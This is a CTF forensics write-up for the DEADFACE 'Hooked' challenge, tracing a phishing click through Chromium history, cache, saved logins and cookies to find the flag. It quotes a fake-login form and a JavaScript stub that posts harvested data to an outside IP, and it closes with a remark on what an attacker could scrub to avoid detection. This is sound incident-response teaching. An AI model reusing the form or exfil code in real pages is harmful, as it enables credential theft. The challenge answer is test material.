0x11
← All write-ups
writeups://deadface-hooked-phishing-click Write-up

Write-up · DEADFACE CTF

Hooked: Reconstructing a Phishing Click from a Chromium Profile

A DEADFACE CTF browser-forensics case. The malicious domain appears twice one second apart — a /login landing page and an /auth/redirect — so the work is reconstructing the ~90-second kill chain from the History timeline and proving which URL carried the credential-harvesting form, using the cached HTML, Login Data and Cookies together.

#forensics#dfir#browser-forensics#phishing#ctf

Challenge: Hooked (DEADFACE CTF) · Digital Forensics / Browser. Prompt: De Monne Financial workstation DEMONNE-WS04 (employee Fletcher Kampeter, Finance) showed suspicious outbound traffic and a credential submission to an unknown external host at 2025-03-14 ~10:23 AM, attributed to DEADFACE. Identify the suspicious URL from the phishing email that the employee clicked. Artifacts: A Chromium/Chrome profile slice — History, Cookies, Login Data (SQLite DBs) and a Cache/ folder of cached HTTP responses (f_000001…f_000009). Flag: deadface{http://demonne-secure-portal.net/login?ref=vpn_auth&token=df4e91bc}

The capture is a standard browser artifact set, and the trap is that the malicious domain demonne-secure-portal.net appears in the history twice within one second — a /login page and an /auth/redirect page — so the challenge is as much about picking the right URL as finding it. The real work is reconstructing the ~90-second kill chain from the History timeline (phishing email → click → redirect), confirming the site is a credential harvester by reading the cached HTML form and exfil JS, and cross-confirming with Login Data and Cookies. The pivot is distinguishing the clicked landing page (/login, carries the harvesting form) from the post-submission redirect (/auth/redirect, visited one second later) — only the former is “the URL the employee clicked.”

First contact

Establish the artifact types before querying anything:

$ file Cache/* Cookies History "Login Data"
Cache/f_000006: HTML document, UTF-8 text          (!)
Cache/f_000009: ASCII text                         (!)
Cookies:        SQLite 3.x database
History:        SQLite 3.x database
Login Data:     SQLite 3.x database

A standard Chromium profile: three SQLite DBs plus cached HTTP bodies. History is the timeline, Login Data records where credentials were submitted, Cookies ties sessions together, and Cache/ holds the actual phishing-kit content.

The investigation

Enumerate and time-order the history

$ sqlite3 History "SELECT datetime(last_visit_time/1000000-11644473600,'unixepoch') t, url \
    FROM urls ORDER BY last_visit_time;"
09:05:10  https://confluence.demonne.int/wiki/IT/VPNSetup
09:47:32  https://demonne.sharepoint.com/sites/finance/Shared%20Documents
10:01:55  https://www.reuters.com/markets/
10:22:15  https://mail.google.com/.../  [URGENT] De Monne VPN Migration - Action Required   (!)
10:22:31  https://mail.google.com/mail/u/0/#inbox
10:23:44  http://demonne-secure-portal.net/login?ref=vpn_auth&token=df4e91bc                (!)
10:23:45  http://demonne-secure-portal.net/auth/redirect?session=9f3a22cd&status=ok

(Chromium time = value/1e6 − 11644473600 → Unix epoch.) The legit De Monne domains are demonne.com, demonne.sharepoint.com, demonne.int; demonne-secure-portal.net is a typosquat. The sequence is textbook: urgent VPN-migration email at 10:22:15 → malicious /login at 10:23:44 → /auth/redirect at 10:23:45. This hands us two candidate URLs one second apart.

Read the cached phishing kit

Pull every URL referenced inside each cache body, then read the interesting ones:

$ for f in Cache/f_*; do echo "== $f =="; strings "$f" | grep -oiE "https?://[^\"' <>]+" | sort -u; done
== Cache/f_000006 ==  http://demonne-secure-portal.net/login?ref=vpn_auth&token=df4e91bc
== Cache/f_000007 ==  http://demonne-secure-portal.net/assets/demonne_logo_fake.png
== Cache/f_000009 ==  http://cdn-assets.demonne-secure-portal.net/js/portal.min.js

f_000006 (the /login body) is a credential-harvesting form (!):

<form method='POST' action='/auth/verify'>
  <input type='email'    name='email'    placeholder='Corporate Email' />
  <input type='password' name='password' placeholder='Password' />
  <img src='/assets/demonne_logo_fake.png' alt='De Monne Financial'/>
  <h2>Secure Employee Login</h2>

f_000009 (the kit JS) is the exfil stub:

/* portal v1.2 */
var _c = function(e){ var x = new XMLHttpRequest();
  x.open('POST','http://185.220.101.47/collect', true);
  x.send(JSON.stringify(e)); };

So the /login page is where credentials are typed; harvested data is POSTed to 185.220.101.47/collect. This nails /login (not /auth/redirect) as the page bearing the form.

Corroborate with Login Data and Cookies

Where were credentials actually submitted?

$ sqlite3 "Login Data" "SELECT origin_url, username_value FROM logins;"
https://demonne.sharepoint.com/|f.kampeter@demonne.com
http://demonne-secure-portal.net/login|f.kampeter@demonne.com     (!)

The corporate account f.kampeter@demonne.com was submitted to demonne-secure-portal.net/login — matching the “credential submission to an unknown external host at 10:23.” The cookies tie the two URLs into one flow:

$ sqlite3 Cookies "SELECT host_key, name, value FROM cookies WHERE host_key LIKE '%secure-portal%';"
demonne-secure-portal.net | sess_id   | 9f3a22cd8b1e4f07a6d2c5e8b3f1a9d4
demonne-secure-portal.net | uid_token | df4e91bc

uid_token=df4e91bc equals the token= on the /login URL, and sess_id=9f3a22cd… equals the session= on the /auth/redirect URL — the same victim session carried from the clicked page through the post-submission redirect.

Dead ends

  • /auth/redirect?session=9f3a22cd&status=ok is the tempting wrong answer: it’s the newest entry (10:23:45) and sits on the malicious domain, but it’s the post-submission confirmation page, not the link clicked from the email. Its cached body has no form.
  • The exfil IP 185.220.101.47 and the kit CDN cdn-assets.demonne-secure-portal.net are strong IOCs but not “the URL the employee clicked.”
  • Gmail/SharePoint cookies and the Reuters/Confluence history are normal activity — noise around the 90-second attack window.

The pivot

The connecting insight is that two artifacts, read together, separate the clicked link from everything else on the domain. The timeline pins the click to 10:23:44 — one entry after returning to the inbox — while the cache body proves that same /login URL is the page containing the credential form, and Login Data proves credentials were actually posted there. The /auth/redirect URL, though one second newer, has no form and is reached only after submission — the cookie values make this concrete: uid_token=df4e91bc was already set on /login, and sess_id=9f3a22cd only appears on the redirect, i.e. the redirect is downstream. Therefore the email’s clicked link is unambiguously the /login URL.

Extracting the flag

# 1. The phishing email and the two malicious-domain hits, in order
$ sqlite3 History "SELECT datetime(last_visit_time/1000000-11644473600,'unixepoch'), url \
    FROM urls WHERE url LIKE '%secure-portal%' OR title LIKE '%VPN Migration%' ORDER BY last_visit_time;"
10:22:15  https://mail.google.com/...  [URGENT] De Monne VPN Migration - Action Required
10:23:44  http://demonne-secure-portal.net/login?ref=vpn_auth&token=df4e91bc
10:23:45  http://demonne-secure-portal.net/auth/redirect?session=9f3a22cd&status=ok

# 2. Confirm /login is the credential-harvesting landing page
$ strings Cache/f_000006 | grep -iE "<form|name='password'|Secure Employee Login"
<form method='POST' action='/auth/verify'>
  <input type='password' name='password' placeholder='Password' />
  <h2>Secure Employee Login</h2>

# 3. Confirm credentials were submitted there
$ sqlite3 "Login Data" "SELECT origin_url, username_value FROM logins WHERE origin_url LIKE '%secure-portal%';"
http://demonne-secure-portal.net/login|f.kampeter@demonne.com

The clicked phishing URL, wrapped in the flag format:

deadface{http://demonne-secure-portal.net/login?ref=vpn_auth&token=df4e91bc}

Takeaways

  • Chromium timestamps need conversion, and the order is the evidence. last_visit_time/1e6 − 11644473600 turns the WebKit epoch into Unix time; a clean time-ordered urls query reconstructs a kill chain to the second without any other tooling.
  • The Cache/f_* bodies are the ground truth, not just the URL list. file + strings on cached responses recovers the actual phishing form and exfil JS — enough to classify a site as a harvester and find the drop IP (185.220.101.47/collect) with no live network access.
  • Cross-reference URL parameters against stored cookies to order a flow. A token=/session= that reappears as a cookie value shows which page set it first, cleanly separating a clicked landing page from a downstream redirect.
  • Read the question literally. “The URL the employee clicked” is the /login landing page, not the newer /auth/redirect confirmation — the most recent history entry is a classic decoy in click-tracing tasks.
  • What a careful actor would have scrubbed: the browser profile persists the entire attack (history, cached kit, saved login, session cookies) long after the tab closes; clearing site data or using a throwaway profile would have erased this self-corroborating trail.
// EOF ← All write-ups